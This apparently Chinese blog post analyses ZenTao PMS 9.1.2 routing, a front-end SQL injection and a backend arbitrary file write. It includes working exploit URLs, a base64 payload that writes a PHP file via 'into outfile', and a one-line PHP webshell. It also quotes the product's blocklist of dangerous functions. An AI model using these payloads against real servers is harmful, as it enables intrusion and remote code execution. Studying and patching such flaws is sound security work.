禪道pms-路由及漏洞分析
前言
故事起源於一次校園網內掃描,掃到一臺禪道的伺服器,遂開始分析起了一些歷史漏洞,但是由於版本原因在伺服器上都沒有成功 ==、
文字分析了下禪道中路由的設定,以及一些歷史漏洞,若有疏漏,還望斧正。
路由分析
路由是分析和審計cms前一個很重要的點,能瞭解整個cms的基本框架和程式碼流程。
禪道各個版本中路由沒有什麼較大的變化,這裡以9.1.2為例進行分析。
首先,禪道里有兩種型別的路由,分別對應者兩種不同的url訪問方式
user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html index.php?m=block&f=main&mode=getblockdata
index.php
貼程式碼太多了,就放張圖片好了。
一開始是載入了一些框架的類,然後new了一個路由
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
然後做了一些簡單的判斷和是否安裝,最主要的是最後的三行
$app->parseRequest(); $common->checkPriv(); $app->loadModule();
看方法名也大致能猜到是幹嘛了,分別對應著 引數解析
、 許可權檢測
、 模組載入
router.class.php
路由的程式碼檔案在 frameworkbaserouter.class.php
中
public function parseRequest() { if(isGetUrl()) { if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true); $this->config->requestType = 'GET'; } if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2') { $this->parsePathInfo(); $this->setRouteByPathInfo(); } elseif($this->config->requestType == 'GET') { $this->parseGET(); $this->setRouteByGET(); } else { $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true); } }
一開始的 isGetUrl
就會判斷是那種型別的傳參方式
function isGetUrl() { $webRoot = getWebRoot(); if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true; if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true; if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true; return false; }
然後就以對應的方式進行引數解析,完成 router
中三個主要元素的載入
moduleName methodName controlFile
解析完引數之後就是返回 index.php
然後許可權檢測,再進入 loadMoulde
載入模組
通過動態除錯以及註釋可以看到,一開始是設定了模組名、方法名一些引數,並建立了 control
控制器例項
之後就是根據 GET
或者 PATHINFO
的形式獲取引數
全部準備工作做好之後就進入
call_user_func_array(array($module, $methodName), $this->params);
進行動態方法呼叫,呼叫 /module/xxx/control.php
中的 xxx
函式
例如我這裡傳入的url是 index.php?m=block&f=main&mode=getblockdata&blockid=case
就會進入到 /module/block/control.php
中的 public function main
函式中,並傳入對應的引數
這樣就結束了路由的解析,正式進入到邏輯函式的處理
不同的url會對應到不同的檔案的不同函式中,這也正是路由的功能
明白瞭如何禪道中是如何進行路由配置的,也就更容易理解整個框架,從而進行分析。
前臺SQL%E6%B3%A8%E5%85%A5/">SQL注入
漏洞一開始爆出是在9.1.2版本,後續幾個版本似乎進行了過濾,但是過濾不完全,依舊有注入的危險
測試版本為9.1.2
漏洞分析
漏洞發生在sql類的核心庫檔案中 lib/base/dao/dao.class.php:1915
public function orderBy($order) { if($this->inCondition and !$this->conditionIsTrue) return $this; $order = str_replace(array('|', '', '_'), ' ', $order); /* Add "`" in order string. */ /* When order has limit string. */ $pos= stripos($order, 'limit'); $orders = $pos ? substr($order, 0, $pos) : $order; $limit= $pos ? substr($order, $pos) : ''; $orders = trim($orders); if(empty($orders)) return $this; if(!preg_match('/^(w+.)?(`w+`|w+)( +(desc|asc))?( *(, *(w+.)?(`w+`|w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders"); $orders = explode(',', $orders); foreach($orders as $i => $order) { $orderParse = explode(' ', trim($order)); foreach($orderParse as $key => $value) { $value = trim($value); if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue; $field = $value; /* such as t1.id field. */ if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field); if(strpos($field, '`') === false) $field = "`$field`"; $orderParse[$key] = isset($table) ? $table . '.' . $field :$field; unset($table); } $orders[$i] = join(' ', $orderParse); if(empty($orders[$i])) unset($orders[$i]); } $order = join(',', $orders) . ' ' . $limit; $this->sql .= ' ' . DAO::ORDERBY . " $order"; return $this; }
在最後的語句拼接處可以看到,對 $limit
變數直接進行了拼接,而且前面也沒有進行嚴格的過濾於判斷
$order = join(',', $orders) . ' ' . $limit;
然後漏洞發現者找了個呼叫這個 orderby
方法的地方
在訪問 index.php?m=block&f=main&mode=getblockdata&blockid=case
時就會進入 module/block/control.php:296
的main函式部分
然後進入 getblockdata
分支,對傳入的 param
引數進行解碼,然後賦值給$this->params
$params = $this->get->param; $params = json_decode(base64_decode($params)); ... $this->params= $params;
最後會呼叫到 printCaseBlock
方法
printCaseBlock
中 openedbyme
分支會對傳入的 $this->params->orderBy
帶入到 orderBy
函式中
由於沒有進行嚴格的限制,從而拼接之後執行,造成了sql注入
漏洞利用
假如是root許可權,就可以利用pdo的多段查詢,直接匯出資料,生成php檔案,從而getshell
訪問url
index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO3NlbGVjdCAnPD9waHAgcGhwaW5mbycgaW50byBvdXRmaWxlICdkOi9lLnBocCcjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==
在 referrer
中新增 http://localhost/
或者就是你訪問的網頁url
param引數為一段json的base64編碼解碼之後就是
{"orderBy":"order limit 1,1;select '<?php phpinfo' into outfile 'd:/e.php'#","num":"1,1","type":"openedbyme"}
修改 select '<?php phpinfo' into outfile 'd:/e.php'
部分資料就可以執行想要的sql語句
假如許可權不夠的時候,就可以利用一些報錯或者盲注的方式,由於PDO的原因,會相對來的比較複雜
檸檬師傅的 ofollow,noindex" target="_blank">文章 中寫的很詳細了,就不班門弄斧了
後臺getshell
測試版本為9.1.2
漏洞分析
問題出現在 module/api/control.php:38
的 getModel
函式中
public function getModel($moduleName, $methodName, $params = '') { parse_str(str_replace(',', '&', $params), $params); $module = $this->loadModel($moduleName); $result = call_user_func_array(array(&$module, $methodName), $params); if(dao::isError()) die(json_encode(dao::getError())); $output['status'] = $result ? 'success' : 'fail'; $output['data']= json_encode($result); $output['md5']= md5($output['data']); $this->output= json_encode($output); die($this->output); }
在第三行裡面使用了回撥函式,而傳入的引數正好就是通過get方式傳入的,導致了引數的可控
$result = call_user_func_array(array(&$module, $methodName), $params);
這裡需要一個找一個檔案寫入的點,然後呼叫就可以了,於是可以來到 module/editor/model.php:371
public function save($filePath) { $fileContent = $this->post->fileContent; $evils= array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert'); $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t'); $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent); if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent); $dirPath = dirname($filePath); $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4); if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true); if(is_writable($dirPath)) { file_put_contents($filePath, $fileContent); } else { die(js::alert($this->lang->editor->notWritable . $extFilePath)); } }
可以看到這裡雖然做了一些簡單字元的過濾,但是絲毫不影響寫入shell
只要在api處呼叫這個函式即可任意檔案寫入,從而getshell
漏洞利用
這是一個後臺的洞,所以需要登入到後臺
之後訪問如下url
localhost/zentaopms912/www/index.php ?m=api &f=getModel &moduleName=editor&methodName=save ¶ms=filePath=../e.php
POST中傳入
fileContent=<?php $_POST[_]($_POST[1]);
就會在 www
目錄下生成1.php檔案
getshell